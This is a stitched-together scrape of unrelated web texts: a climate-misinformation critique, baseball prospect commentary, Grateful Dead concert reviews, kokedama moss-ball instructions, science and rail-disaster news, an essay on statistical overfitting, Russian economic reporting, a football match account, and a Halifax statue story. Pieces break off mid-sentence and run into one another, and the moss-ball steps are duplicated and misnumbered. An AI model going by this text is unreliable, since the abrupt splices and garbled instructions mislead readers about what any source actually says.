There are many flavors of fake news. Some of these stories push the idea that, yes, the climate is changing, but it’s just a natural effect of changes in the sun’s activity and humans have nothing to do with it. This theory has been a favorite of deniers for three decades, and even though it’s been widely discredited, Breitbart reported it in again in 2014, under the headline, “Solar Activity Could Cause Global Warming, New Paper Says.” Of course, this runs contrary to actual science, but Breitbart never lets that stop them.
Other fake stories claim that carbon dioxide is good because it increases plant growth, as the ever |
I would slot him in right behind Sean Newcomb and ahead of Kolby Allard, settling at No. 5 (Swanson takes over at 1).
The Braves did well to get two high-floor prospects from this deal, combined with a useful big league asset in Inciarte. Shelby Miller is a tough loss, but with the proximity of the players they got in this deal to the Braves active roster, the return is an excellent alternative. If either Swanson or Blair’s timelines get accelerated by their development, the 2016 Braves could benefit more from this deal than had they declined to part with Miller.Promised Land, They Love Each Other, Me & My Uncle, Big River, Candyman, Passenger, Peggy-O, Minglewood Blues Samson & Delilah, Friend Of The Devil, Estimated Prophet-> Eyes Of The World-> Drums*-> Not Fade Away-> Goin' Down The Road Feelin' Bad-> Around & Around, E: U.S. Blues
SBD> MC>?> D> CD> EAC> SHN; ; edits, encoding, vined by J. Cotsman; with thanks to Paul Hartman; see notes in info file; d2 tracked for 80 min
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Reviewer: Esgandinion - favorite favorite favorite favorite favorite - July 21, 2014
Subject: Been There Done That Having actually been at that concert. The energy of the show was of the chart. Music may have been a bit off. However the spectators Loved it. I remember watching and feeling the energy from the crowd, and quite frankly I have never been able to top what I felt. It is one of my all time greatest memories of the 70's. I am so thankful that I found this recording, because it sends me back to that time and brings a smile to my face. - July 21, 2014Been There Done That
Reviewer: njpg - favorite favorite favorite - June 19, 2014
Subject: - Sloppy indeed, but not bad. - June 19, 2014
Reviewer: mknyc - favorite favorite favorite favorite favorite - February 28, 2014
Subject: Best show of 1978? Certainly not the most consistent, but absolutely RAW, at a time when they were becoming more and more mannered. Most like Egypt and October Winterland in that sense, but much more so.
Apparently they were frustrated about sound problems, and starting with Passenger they just start to feed on this energy. The Eyes - where Jerry yells at Bob? Donna? for getting the lyrics wrong is blistering, and the transition from Space to NFA is one of those amazing moments that were already far too rare. They can't quite keep up the energy after that. Oh well...
And, of course, a Charlie Miller show. - February 28, 2014Best show of 1978?
Reviewer: JRogers71 - favorite favorite favorite favorite favorite - February 27, 2014
Subject: Ibanez musician Jerry and Bob Weir are playing Ibanez Musicians, MC 500 models, Ibanez' Alembic copy. Ibanez wanted Garcia to play thier guitars and produced this model specifically for JG, unfortunately he didn't exactly fall in love with the guitar, he stated that it was too heavy but possibly just didn't like it. If it sounds like he's beating on it he probably is, putting it through it's paces and seeing how much abuse it can take. Those guitars are built very solid and heavy. - February 27, 2014Ibanez musician
Reviewer: silverpoint - favorite favorite favorite favorite favorite - November 4, 2012
Subject: Autzen Mellow Ghost of Woodstock or just a bad hair day? Rumors were wild that the band had given Jerry a shape up or ship out notice before this concert?
After Santana took us too new highs the Dead had problems and then more problems after Promised Land and somewhere thereafter everyone had to listen to Bob Weir tell his deer hunter/game warden story, really...
I recall Jerry wearin a brown leather coat and havin lots of trouble with his electrical gizmos and broke at least one string… There's lots down time, lucky for us it was a Grateful Dead Show and as per usual fellow deadheads provided brief relief. As I recall this particular concert was a benefit for the U of O Athletic Dept. The Registered Guard called the concert; Autzen Mellow Ghost of Woodstock, as the concert took place 10 years after Woodstock?
Estimated Prophet/ Passenger/ Eyes /Samson/ Not Fade Away-> Goin' Down The Road Feelin' Bad and U.S. Blues were the songs I remember most always nice to hear on any day… I’m lucky and better for attending this show as it may have be slow goin, it was very powerful, not in any hurry and got there…
Hey it was a benefit what more could you ask for the Dead showed up and played their part… - November 4, 2012Autzen Mellow Ghost of Woodstock or just a bad hair day?
Reviewer: nwgj - favorite favorite favorite favorite - September 27, 2011
Subject: kaboom "It appeared they may have run out of gas post drumz." I respectfully disagree. It appears that someone overturned a few drums of gas onstage during Space, then lit a match as they started NFA. Loud, messy, wild, and utterly satisfying stuff. - September 27, 2011kaboom
Reviewer: Jommy41 - favorite favorite favorite favorite - May 25, 2011
Subject: Banter! Bob and Jerry are Hilarius. Its so entertaining to hear what might come out of Bobby's mouth at any given moment when its not pre-rehearsed!
As for the music, its strangely energetic and sloppy. Sounds like Jerry was listening to a lot of Punk and New Wave. Of course, it doesn't help when your rig decides to spite you... Works for me, even if its not your personal favorite. Quite a gem, glad I found it! Space is KILLER! - May 25, 2011Banter!
Reviewer: redsled98 - favorite favorite favorite favorite favorite - September 20, 2008
Subject: awesome.. this i will never forget...we came from seattle,eddie money opened,we laughed,all the boppers,so funny,the volume way down....outlaws next,lots of rowdy bikers,volume up bit more...santana,killer,quite loud.......at that point,dude came up with a brown vial...dead came on,volume max,we flew,the whole place.flew...wow...never forget this here.....bless this site,thanks for the exellent memories! - September 20, 2008awesome..
Reviewer: itsamazing1 - favorite favorite favorite - May 15, 2008
Subject: Very Peculiar Show All in all the show had very fantastic moments once you can get past some of the equipment issues Jerry had. It actually sounded better live!!! The Estimated eyes is excellent, but I wish the high energy stayed. It appeared they may have run out of gas post drumz.. - May 15, 2008Very Peculiar Show
Reviewer: bowen - favorite favorite favorite favorite favorite - February 21, 2008
Subject: Wow! Jerry just melted my face off again. 5 stars for the the "Jerrybumps" I just had while listening to "Eyes"! C'mon, this show needs to filter upwards. - February 21, 2008Wow!
Reviewer: JaMmM On - favorite favorite favorite favorite favorite - September 26, 2006
Subject: holy fuc*in shit.... granted jerry's playing may not be as perfect, or as crisp as other performances... but he's playing some real mean guitar... he's literally beating the piss out of the strings, and screaming his lungs out.... 5 starts just for energy from start to finish - September 26, 2006holy fuc*in shit....
Reviewer: Grateful Jeff - favorite favorite - September 16, 2006
Subject: Jerry seems uncomfortable Was anybody reading this at this show? If so, was Jerry using the Travis Bean? It sounds like that in Set 1. Unfortunately, though the band is energetic, Jerry sounds quite uncomfortable at times and is hitting some sour notes. Seems like he was having intonation problems. Being a profesional guitarist, and having once owned a Travis Bean myself, I recall having a lot of intonation problems with that guitar. Sounds like Jerry was in a similar dilemna. - September 16, 2006Jerry seems uncomfortable
Reviewer: BryanE - favorite favorite favorite favorite favorite - August 12, 2006
Subject: A Long, LONG, Strange Day Y'know---to whomever edits these comments before they get posted, do me a favor, and just dump the whole sordid tale that I described a few minutes ago. Listening more closely to this show, I realize how the days between and the recreational ingestion at the show itself have combined to completely distort in my mind what ACTUALLY happened. My intitial opinion is unwavered, though: this is an EXCELLENT recording. Now, if you'll excuse me, I'M going to shut up. - August 12, 2006A Long, LONG, Strange Day
Reviewer: capn doubledose - favorite favorite favorite favorite favorite - March 28, 2006
Subject: UNBELIEVABLE TOP 10 UNKNOWN SHOWS ON WHOLE SITE! FOLKS YOU HAVE TO CHECK THIS WHOPPER OUT - CANNOT BELIEVE HOW HIGH ENERGY THIS IT FROM START TO FINISH!!! - March 28, 2006UNBELIEVABLE TOP 10 UNKNOWN SHOWS ON WHOLE SITE!
Reviewer: L. Rosley - favorite favorite favorite favorite favorite - February 8, 2006
Subject: Not your average 1978 show This show beats the June 4 show, no question. Jerry's guitar playing is perfect and fiery, and it's good night for vocals. But he's also doing things different also seems to be having flash-backs to earlier vocal and guitar styles.
This first set is not to be missed. There's fierce Big River with an interesting introduction. In Candyman Jerry's vocal has shades of the late 60's with the way he uses vibrato. The band is hot on Passenger, but Jerry does it differently with slide all over the place and fast soloing, again similar to years gone by. Peggy O is not the usual sweet ballad, but has some of the anger expressed by Peggy's suitor, William; the guitar soloing is fabulous. Samson is a great group effort, with everybody playing off of each other, Bob all hot and bothered, and a nice job by Bill and Mickey. - February 8, 2006Not your average 1978 show
Reviewer: sandfan - favorite favorite favorite favorite favorite - December 12, 2005
Subject: Golden daze Absolutely one of the best days of my life. My buddy Butch and I stopped by on a hitch-hiking trip down the Coast.
A big show on a sunny summer day -- Eddie Money, the Outlaws, Santana, the Grateful Dead. we chilled in the back of the stadium through Money and most of the Outlaws. Figuring to work our way up to the front when they'd likely conclude their set with the three-guitar-attack "green Grass and High Tides" turned out just perfectly. Saw Santana and the Dead from the very front.
Kesey and his Thunder Machine helped out during SPACE, which ended with a crash and surge of sound that literally brought the crowd to its knees....AND THEN IT GOT EVEN LOUDER. Rumor has it that parts of Eugene and Springfield were browned out during NFA-GDTRFB-'Round and 'Round.
Those were the days. Thanks for putting this here. - December 12, 2005Golden daze
Reviewer: kansasbox - favorite favorite favorite favorite favorite - August 17, 2005
Subject: Drunk ADHD Dude This is an interesting show. Jerry plays like some ADHD guy who has decided to drink a bottle of Tequila before hitting the stage. He's kind of erratic, the vocals are downright fiesty in spots, and the guitar sound is of the ripping variety. He also seems to be the camper who keeps having equipment difficulties--probably because he is abusing his guitar so violently. Jerry is over there bein' ornery all show and needs a hall monitor to keep him with the rest of the campers. Bob is full of goofy comments. Yet, the music and sound are great. - August 17, 2005Drunk ADHD Dude
Reviewer: StrawRider - favorite favorite favorite favorite - July 17, 2005
Subject: Now... You've got to share your secret stash with all of us! ;-)
Pass me some NFA>GDTRFB>Around! - July 17, 2005Now...What you will need
1. a tiny plant; moss can't stand direct sunlight so choose a shadow loving plant. I have used baby ferns, grass and another lovely plant with violet flowers of which I can't recall the name.
2. a 7:3 ratio of peat soil and akedama or bonsai soil.
3. dry moss (you can buy a whole bag at most plant shops).
4. scissors.
5. cotton thread.
packing string like twine, hemp or sissal. Mine is from the wonderful London household shop 6. nicelike twine, hemp or sissal. Mine is from the wonderful London household shop Labour and Wait
7. gloves. Yes, it WILL get messy.
8. a jar of water.
9. moss, which you can either buy in a large box or pick yourself in the woods.
Instructions
1. Remove as much soil as possible from your tiny plant so that its roots get exposed. Be very thorough but gentle!
2. Mix your peat and akedama soil together. You know the consistency is right when you are able to make a small ball from the earth without it breaking apart.
3. Now that your soil is mixed, start shaping it into a small ball the size of an orange. Use a little bit of water if needed. Think 'clay' or 'pizza dough'. 3. Now that your soil is mixed, start shaping it into a small ball the size of an orange. Use a little bit of water if needed. Think 'clay' or 'pizza dough'.
4. Et voilá!
5. Make sure each ball has enough room to accomodate the roots of your plant. 4. Et voilá! 5.Make sure each ball has enough room to accomodate the roots of your plant.
6. Take a bunch of dry moss and wrap it carefully around the roots, making a circular and compact shape. Then tie the cotton string several times around it. This will eventually dissolve. 6. Take a bunch of dry moss and wrap it carefully around the roots, making a circular and compact shape. Then tie the cotton string several times around it. This will eventually dissolve.
8. Make a small hole in your soil ball and gently press the plant inside it. Be careful to 'close' the shape back to a sphere.
9. Now it's time for the fun part: take small sheets of moss and press them firmly into the soil. Don't leave any open spaces. Wrap the twine string around the ball as if you are packing a present and leave the long sides as long as needed.
10. Choose a nice, shady place, install a hook and hang your wonderful planet of moss.
xx
Mimimou 8. Make a small hole in your soil ball and gently press the plant inside it. Be careful to 'close' the shape back to a sphere. 9. Now it's time for the fun part: take small sheets of moss and press them firmly into the soil. Don't leave any open spaces. Wrap the twine string around the ball as if you are packing a present and leave the long sides as long as needed. 10. Choose a nice, shady place, install a hook and hang your wonderful planet of moss.xxMimimou
The image of this small asteroid covered in green with one magnificent flower sticking out of it, has always made me smile: wouldn't it be magical to live on such a planet?One day, while on an urban exploration of Amsterdam, there it was, my first string garden: a little ball of soil, covered in moss, with one, tiny plant growing on top. I wrote about the moss ball, or Kokedama as it is called in Japan, in a previous post but I have waited the whole winter before venturing on making one. In the end I even turned this event into something special by inviting friends and teaching them too how to add a bit of magic to the world: because that is truly what they do. That's why I want to teach this to you too.Synthetic Biology: New Method Makes Protein Engineering More Accessible
Deep in the heart of synthetic biology are the proteins that make it tick and that is why protein engineering is crucial to the new discipline: Scientists grow, harvest, and reprogram proteins to become new drug therapeutics, environmentally friendly fuels, and vaccines.
But producing proteins quickly and in large quantities has been and remains a major challenge in the field, so Northwestern University synthetic biologist Michael Jewett and colleagues have pioneered a new protein production method that is faster and cheaper than ever before, making synthetic biology research more accessible for laboratories everywhere--even in high schools.
Jewett's research addresses a technological gap in cell-free protein synthesis (CFPS), a method of producing proteins without using living, intact organisms. In recent years, CFPS has emerged to help satisfy a growing demand for simple and efficient protein expression technologies. While CFPS bypasses growing proteins in fastidious microorganisms, such as yeast and bacteria, it requires highly specialized, costly equipment. Researchers must use a large, steel fermenter to grow cells and then a French press to lyse the cells, or remove their cellular walls under high pressure, which leaves behind their coveted enzymes for use as catalysts to produce proteins.
"Despite the fact that cell-free translation systems have improved over the past few decades, it is still difficult to standardize protocols within and across labs and costly equipment can be too expensive for some," Jewett said. "Most labs--certainly high school labs--cannot afford the high-pressure homogenization equipment."
Jewett's new technique replaces the fermenter and French press with two inexpensive pieces of equipment that are common to the typical lab: standard culture tubes and shake flasks. His group grew two commercially available strains of E.coli in small test tubes and then vibrated them in a sonicator until their cellular walls were lysed.
"The community used to think that using this inexpensive vibration model was impossible," Jewett said. "When you vibrate cells, they heat up a lot, which could inactivate the catalysts needed to make a protein. Building off recent work from Bradley Bundy's lab at Brigham Young University, we found a way to map the proper amount of energy input of the sonication to get the cells lysed without heating up too much."
Not only does this method use inexpensive equipment, but it also produces more crude extract catalysts for making proteins in less time. According to Jewett, his approach can make 100 lysates in one day as compared to the standard fermentation approach, which can make 100 lysates in eight months.
"This affords us a tremendous amount of new opportunities and advantages for making products," Jewett said. "And we hope it will allow more researchers to enter the field."
Other laboratories, using bacteria different from E. coli, have already implemented Jewett's technique with success. In fact, Reyvin Reyes, a Niles West High School student who worked with Ben Des Soye in Jewett's lab, used the new method for a project and was named a semi-finalist in the 2015 INTEL Science Talent Search.
"Even as a high school student, Reyvin was able to adopt this new technique really quickly," Jewett said. "My end hope is that this will be a new technological innovation that other labs will be able to use and be able to take advantage and leverage the cell-free protein synthesis platforms. It could democratize the field."
Published in Scientific Reports. Yong Chan Kwon,a postdoctoral associate in Jewett's lab, coauthored the paper. Supported by DARPA and the Army Research Office.The background to the Lac-Mégantic disaster: Deregulation, profit and the Canadian rail industry
By Carl Bronski
11 July 2013
Last weekend’s train derailment in Lac-Mégantic, Quebec and the subsequent explosion of oil-filled tanker cars that demolished much of the town’s central core and killed more than 50 people have exposed alarming trends in the shipment of dangerous substances on Canada’s rail network.
In particular, the immense boom in the transport of crude oil by rail over the past several years combined with the continued decay of rail infrastructure, reduction of railroad staffing levels and the deregulation of the industry have left many observers warning that the horrific tragedy at Lac-Mégantic could very well be repeated in other towns and cities across the country.
Oil production in North America has steadily increased in the last decade due to the massive development of the northern Alberta tar sands and increasing shale oil production from the Bakken deposits in North Dakota, Montana, Manitoba and Saskatchewan.
Today about 10 percent of all North American oil is moved by rail, up from two percent only five years ago. Much of this rail traffic is shuttled through major urban centres and is carried in tanker cars that are known to be susceptible to puncture in the event of a derailment. The ill-fated Lac-Mégantic train passed through Toronto only a day prior to the Quebec explosion.
According to the Canadian Railway Association, shipments of oil by railcar tanker in Canada have increased from 500 carloads in 2009 to about 140,000 for 2013—an increase of 28,000 percent. Even if the proposed Keystone XL pipeline from Western Canada to the American Gulf Coast and the Northern Gateway pipeline from Alberta to the British Columbia coast are eventually built, it is projected that oil production in Canada and the US will exceed pipeline capacity by one million barrels a day by 2025. Should the US government not approve the currently stalled extension of the Keystone XL pipeline project to Alberta, it is estimated that by 2017 oil shipments by rail in Canada will increase a further 42 percent.
Canadian rail companies have boosted profit margins on the heels of this transport boom. Canadian Pacific Railways increased its average revenue per car by 12 percent this year as a result of increased oil transport contracts. Canadian National Railways has so far gained 14 percent on the Toronto Stock Exchange this year. Montreal Maine and Atlantic (MMA), the railway company involved in the Quebec explosion, has buttressed its profits by using oil shipments to make up for a decline in lumber transport contracts.
Even as pipeline spills are becoming a more frequent occurrence in North America—due to aging installations, reduced maintenance and dubious risk analyses based not on environmental safety concerns but rather the voracious profit requirements of oil, construction and financial industry shareholders—the danger of an oil spill from a rail tanker is still deemed to be three and to six times greater than from a pipeline. Railcar accidents are more likely to cause immediate injury and death. Pipeline accidents, however, are often larger with broader and longer-term environmental and health impacts.
Proponents of quick development of the Keystone XL and Gateway pipelines—a group that includes Canadian Prime Minister Stephen Harper and his Conservative government, substantial elements in the US Congress and Obama administration, Big Oil and much of the corporate elite in both countries—have cynically latched on to the Lac-Mégantic disaster to extol pipelines as a safe alternative to ever-increasing shipments of crude by rail.
In their cruel use of the Quebec tragedy, however, none of these proponents make mention of the fact that the oil on the train at Lac-Mégantic was shale oil from North Dakota—oil that will never be serviced by a pipeline due to the Bakken field’s untenably short “life span” of about twelve years. Indeed, with or without new pipeline infrastructure, railcar transport of oil will continue to increase.
In reality, the burgeoning risks associated with pipeline or railcar transportation of oil are a product of an economic system that places profit before the well-being of the general population.
Railroad safety in Canada has been deregulated under successive Liberal and Conservative governments since the 1990s. Today, railway companies largely carry out their own inspections of processes, equipment and infrastructure. This so-called self-regulation is simply a carte blanche for corporations to continue to cut safety corners to burnish their bottom lines. Similar practices have been instituted in Canada’s food safety system, resulting in repeated outbreaks of food-borne illnesses and deaths over the past decade.
Despite the dramatic increase in the shipment of hazardous materials, funding to Transport Canada for spot inspections has been slashed. The overall budget allocated by the Harper Conservatives to the Transportation Department has been reduced by 30 percent in the last year alone. In 2011 an auditor-general’s report concluded, “Transport Canada has not designed and implemented the management practices needed to effectively monitor regulatory compliance” of dangerous goods transport.
Recommendations by Safety Boards to rail companies to update rail safety technologies are not implemented. Technological advances, for instance, allow for the installation of automatic switching devices that would allow for the redirection of unauthorized trains—like the runaway Lac-Mégantic train—to safe-port sidings.
Replacement of the prone-to-puncture DOT-111 tanker car—the most heavily used vehicle type in the industry (and that used by MMA on its ill-fated Lac Mégantic train)—has proceeded at a snail’s pace. With companies complaining of the expense involved in eliminating the DOT-111s, the government has stipulated that they only need be replaced with safer, thicker-walled tanker cars when they are retired from service.
Profitability pressures meanwhile cause the railways to press for “lean” operations with reduced staffing and more onerous work schedules and to skimp on the upkeep of physical infrastructure. The runaway train at Lac-Mégantic, for instance, was overseen by a lone engineer in charge of 72 cars and five locomotives. He had parked the train for the night on aging tracks after a grueling 12-hour shift and, in accordance with policy, apparently left the train unattended with a locomotive engine still partially operational to maintain air-brake pressure. The loss of air-brake pressure, perhaps due to a reported fire on the unattended running locomotive, is a possible cause for the train eventually breaking away and careening into Lac-Mégantic.
Ed Burkhardt, MMA’s chairman, has pushed for one-man train “crews,” in which an engineer is responsible for both driving the train (whether manually or by remote control) and doing work on the ground. On Wednesday, Transport Canada revealed that in 2012 it had given the green light to a request by MMA officials to be one of only two companies allowed to operate one-man trains in Canada. Transport Canada also said that, although a rare occurrence, there are no regulations to prevent a company from leaving a running train unattended.
Burkhardt has made a fortune overseeing the privatization and rationalization of railway operations in New Zealand, Britain and continental Europe.
Over the past decade, several small derailments at low speed on poorly maintained MMA tracks have caused chemical leaks. According to a report in the Wall Street Journal, since 2000, MMA trains have spilled hazardous chemicals seven times, including a 13,000-litre diesel oil spill in Frontenac, just east of Lac-Mégantic, last month. Overall, the Transportation Safety Board reports 129 accidents both major and minor and 77 derailments of MMA trains since 2003.
The railway bosses’ overriding concern for corporate profitability was perhaps best exemplified by Canadian Pacific management during the recent Bow River Bridge collapse near Calgary, Alberta. When that century-old, poorly maintained bridge fell into the river after a heavy flood, threatening to drop precariously perched CP cars full of poisonous petroleum distillate into the gorge, CP’s chairman, Hunter Harrison, rejected suggestions that the bridge should have been inspected as the flood waters began to rise. Shutting the bridge down, he insisted, would have “jeopardized commerce.”
Over the past several days, network television anchors and their camera crews have descended on Lac-Mégantic to record in solemn tones the aftermath of the event. Police updates are broadcast in their entirety, railway experts are interviewed, eyewitnesses brought forward and grieving parents, sons and daughters featured. Scant attention, however, is given to the underlying systemic causes for the Lac-Mégantic tragedy and the growing list of public health disasters that have shaken Canada in the past 15 years—including the poisoning of Walkerton, Ontario’s water supply in 2000, the 2003 SARS epidemic, and the 2008 listeriosis outbreak.
Since last Saturday’s derailment explosion MMA’s Ed Burkhardt has repeatedly sought to shift blame away from his company and its practices by successively attributing the disaster to “sabotage,” errors by a local fire department, and malfeasance on the part of the train’s engineer. It was left to a shell-shocked citizen of the small Quebec town to say what no one else from the television networks would. When asked to explain the cause of the tragedy, she turned to the bank of cameras and screamed, “Money! Money! Money!”Overfitting Entire Companies with Statistical Modeling
As statistical modeling becomes more ingrained in corporate decision making, models will increasingly be selected by the free market itself and not by the data analysts within those companies. This in turn will cause overfitting of the models and survivorship bias of the techniques that generated them.
Survivorship bias comes in a few flavors. The standard example comes from the world of finance. When companies go out of business, it throws off the long term performance measurements of indices that contain them. So we might look at the performance of the automobile industry and say profits have grown (or shrunk) by x% a year for the last 50 years. The statistic could be calculated by looking at the 50 year history of Ford, GM, etc, but the “bias” comes in when you ignore Packard, which went out of business long ago. Only the survivors get included, which necessarily makes the statistic look rosier than it actually is because the worst performers are excluded.
In the book “The Black Swan,” Nassim Taleb also discusses a related scenario where there are so many stock traders on Wall Street that there have to be big winners, even if the stock market and all of the traders’ actions are random. It simply follows the law of large numbers that one in a million performance will occur a few times if you have many millions of traders. “Stock trader” is often considered a high paying job, but that ignores all the people that lost money and quit after a few months. Only the survivors are well paid.
The other thing about stock traders is that they are basically a walking predictive model. They look at charts and graphs and newsfeeds all day and try to predict whether certain stocks will go up or down. The implication is that a trader can be a very good predictive model, with many decades of solid performance ahead, but if her particular model performs poorly for two consecutive years, she’s likely to be out of a job. On the other hand, a bad trader that has a very profitable year thanks to sheer luck is likely to hang around for a while, coasting on her cash cushion.
Since no one cares if stock traders are the victims of cosmic injustices, what’s the big deal? The problem is that more traditional companies are starting to live and die by the performance of their statistical models. Companies like Walmart and Proctor&Gamble spend a huge amount of time and money on analyzing market data in an attempt to get the right product in front of the right customer at the right time. The only real cash cow Google has is it’s business of predicting what ads will get the most clicks when they are displayed on a particular web page.
Statistical modeling is a bit of an art form. In a way, building models (even lots of them) is very easy with off-the-shelf software and cloud computing. The real trick is picking which one you trust enough that you are willing to make decisions based on it.
When you see a pattern in data, it’s very difficult to tell if it reflects something that is happening in the real world, or if it’s noise in the data that looks like a pattern. It’s the difference between creating a model of the real world using data as an approximation or making a model of the data set itself.
This problem often shows up as something called overfitting, where a model is very good at predicting the historical data (which it was built with), but ends up having terrible performance in the real world. An overfit model can predict the data set it was built with but not previously unseen scenarios. I’ll spare you the details of why this happens, but the important takeaway is that the model that is likely to have good future performance is not necessarily going to be the one with the best looking historical performance. In fact, having a very good historical performance is often a sign that overfitting has occurred and future performance is likely to be poor.
Needless to say, professional statisticians and machine learning analysts spend a lot of time trying to avoid overfitting by carefully selecting which models to trust. (All their time? Is that what the job actually is?)
So back to survivorship bias….
The free market selects winners and losers based on financial performance. At some point, the statisticians picking models for companies get overruled by the market when their company wins or loses customers. Over time, this will create greater pressure to select models that perform the best in the very near future based on the very recent past.
What’s worse, the free market itself may put the more realistic companies out of business by starving them of customers and capital during the times that the more over-fit models are still performing well.
Over time, entire industries will become dominated by an overfit view of the market they sell into. When the only survivors are the ones that have optimized their operations to the recent past while ignoring low probability events that could potentially bankrupt them, survivorship bias will kick in.
It seems logically absurd that companies would actually do this, but the financial crisis of 2008 had numerous multi-billion dollar financial companies bankrupting themselves by treating low probability events the same as impossible events, and then blowing up when those things happened.
The moral of the story is that data can (and should) be used to add weight to decisions but cannot be relied on as the absolute truth. All possible events that may affect a business must be enumerated and accounted for. That’s even if there is no relevant historical data to plug into a model to see what might occur in the future if some never-before-seen, but possible, event occurs. Software simulations can often come in handy in these situations to get some insight into these blind spots, but other times it’s necessary to simply treat catastrophic events as if they will happen and plan accordingly.
There are plenty of people who will disagree with this conclusion. They will tell you to fit your company’s operations to the available data. They will probably cite some examples of companies that do and have so far survived.
The Recombination of Labor Video: Automated Design of Trading StrategiesJUDGING by the lack of economic news in Russia’s media, a crisis has arrived. Just as in Soviet days, state television does not report facts, it conceals them. The official picture is dominated by the war in Ukraine (fuelled by America), Ukraine’s economic collapse (ignored by America) and Russia’s achievements in sport, ballet and other spheres (envied by America). But whereas television does not mention the economy, ordinary Russians have been busily changing roubles into dollars, buying anything that has not gone up in price and making contingency plans.
In the first two weeks of the year, when Russia was on holiday, the rouble fell by 17.5% against the dollar. Inflation is up into double figures. The price of oil, Russia’s main export, has slid below $50 a barrel, prompting economists to revise their forecasts down. GDP is now expected to contract by between 3% and 5% this year. Russia’s credit rating is moving inexorably towards junk.
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The government’s Zen-like calm betrays a lack of strategy. Russia’s president, Vladimir Putin, is shown on television receiving positive reports from regional governors. Yet the fall in oil prices to below $50 a barrel will cost the state budget, which was calculated on the basis of $100 a barrel, 3 trillion roubles ($45 billion), or 20% of planned revenues, according to Anton Siluanov, the finance minister. He was already planning to lop 10% off the budget, but may now have to cut further. Even if pensions and salaries are raised by 5%, double-digit inflation means that real incomes will decline for the first time since Mr Putin came to power in 2000.
The Kremlin hopes to ride out the crisis, as it did in 2008-09 when GDP contracted by 7.5%. Then the government was able to stimulate demand by increasing public spending and saving indebted firms. It no longer has that option. Russia’s reserves are lower than they were four years ago and may last only for a year and a half, at best. Worse, the government has lost credibility. An increase in interest rates to 17% in December was intended to defend the rouble, but it has not worked. Russians have lost faith in the currency and are starting to withdraw deposits, argues Natalia Orlova, chief economist at Alfa Bank.
The rouble’s fall would have been even greater had it not been for the Kremlin telling exporters to sell foreign-currency revenues while also warning large firms not to buy. Yet whatever liquidity the Central Bank supplies to Russian banks, the money finds its way into the foreign-currency market, putting more pressure on the rouble. Any injection of liquidity may thus end up not stimulating domestic demand but merely increasing capital outflows. The only way to support the rouble is to limit the provision of liquidity to banks; but that in turn would put banks under pressure. German Gref, the head of Sberbank, Russia’s largest state bank, is reportedly warning that a currency crisis could become a “massive” banking crisis.
Faced with capital outflows and falling oil prices, lack of access to foreign markets and its own demographic problems, Russia is unlikely to come out of this crisis fast. Its hope that devaluation would spur import substitution, as after the 1998 default, and so drive growth is unrealistic. At the time Russia was substituting basic goods that could be produced on spare, outdated equipment left behind by the Soviet economy. The things |
of chances which were well saved by Mulder, the 29-year-old scored his first goal of the game after yet another mistake from a Feyenoord defender. With the season starting in just a few days time, big improvements are needed if the Rotterdam club are to compete with Ajax and PSV this season.
The roar which followed the goal was almost unearthly, the noise made by Turkish supporters when they score is unlike anything I have heard before. While supporters in most countries sound happy when they score, the noise which followed the Besiktas goals was a combination of jubilation and fury, it really is something which has to be heard to be understood. With this goal meaning Feyenoord needed two goals just to take the game to extra time, in reality the celebrations could begin now for the home side. They began chanting between themselves, one stand starting a song which would then be finished by the other. It was a shame that the game was not being played at their true home, but they still managed to create a superb atmosphere. Once their imposing looking new stadium opens next season, there might not be a more intimidating place to go in the world.
The one thing about football is that it will always give you hope, no matter how slight. With around 15 minutes to go and Besiktas still comfortably leading the tie, Feyenoord offered this brief moment of hope to their defiantly loud travelling supporters, who had continued to sing and sing despite the situation being hopeless. After a mistake from a Besiktas player, Elvis Manu was able to smash the ball into the roof of the net. The away section went absolutely crazy, with supporters surging down the stairs to the front of the stand like a drunken Dutch tsunami, roaring their appreciation and urging their boys on for an unlikely comeback. Just for a brief moment, it looked as if it might actually happen. Two corners were won in quick succession, and I remembered a promise I had made to a friend to dance naked on the crossbar if we managed to qualify. While I was working out my dance routine, the world was thankfully saved from this image by Demba Ba scoring two quick goals in succession. 3 – 1 on the night, and 5 – 2 on aggregate. Game over.
Many of the Besiktas players dropped to the turf in celebration and prayer at full-time, they fully deserved their victory and will go on to play Arsenal in the next round with a place in the group stages on the line. As for the Feyenoord supporters, they left the ground without Champions League football, but with the knowledge that they had followed their team in to Hell and survived. After that, what is left to fear? As the song goes, we support the Feyenoord boys, we shall not be moved!
So Istanbul may not have proved to be as hellish as the media (and various Twitter hooligans) would have you believe, but it is certainly home to some of the most dedicated and completely insane fans in the world. The city is partly on another continent, but when it comes to football it is on another planet.
This article is dedicated to the memory of Chris Loftus and Kevin Speight. Marching on together, always.
AdvertisementsBrewers have always loved to hang out together, to travel, to talk shop, to raise a pint — and another. And in the morning, those same brewers will often lend each other equipment, ingredients, advice, even employees. It’s part of what has made the craft-beer industry special for so long, and part of why brewers get so bent out of shape when one of their brethren decides to sell out to a company that doesn’t share those values.
In the past few years, however, some of these small or medium-sized companies have taken that camaraderie a step further, by striking more sophisticated business agreements that can help them save money and improve their position in an increasingly competitive market. A few are sharing sales staffs or space or equipment, while others have actually invested money in their fellow breweries or simply bought them outright.
“When things get hairy in the industry, banding together is a way that some of us can succeed,” says TRVE Brewing founder Nick Nunns. “We can use our combined power to stay relevant in the market.”A controversial statue of Halifax's city founder Edward Cornwallis has become an increasingly hot button topic, and the mayor believes a decision about its future in a public park "has to be resolved."
Over 100 people gathered by the historic monument on Tuesday to renew pressure on the city to remove the Cornwallis statue.
The rally was named "Against white supremacy! Against the far-right! Solidarity with Charlottesville!" Protesters aimed to bring attention to the statue's ties with white supremacy in Canada.
Halifax Mayor Mike Savage said issue around the statue isn't something that going to go away. "So we have to deal with it, as they say," he told HuffPost Canada in a phone interview.
"We'll have to make our own decisions, and I think it's worth having people with expertise with a number of different points of view [weigh in]."
Chris Donovan/Reuters Isabelle Knockwood, an elder of Indian Brook calls for the removal of the statue of Halifax founder Edward Cornwallis, who issued a bounty on the heads of indigenous people, in Halifax on July 15, 2017.
The protest comes over a month after activists gathered around the statue for an Mi'kmaq ceremony on Canada Day to mourn the Indigenous lives lost because of European colonization.
The ceremony was interrupted by off-duty members of the Armed Forces, who refer to themselves as the Proud Boys, carrying the old Red Ensign flag while singing "God Save the Queen."
The statue memorializes Cornwallis, a governor of Nova Scotia, who founded Halifax in 1749. Months after settling in Halifax, the British military officer issued an order offering a bounty to anyone who killed a person of Mi'kmaq descent in response to an attack on colonists.
Earlier this month, federal Justice Minister Jody Wilson-Raybould called the debate around removal of the statue a local issue.
A committee is being established to help determine what the future of the statue and how "Cornwallis" will be used in the naming of parks and streets, Savage said.
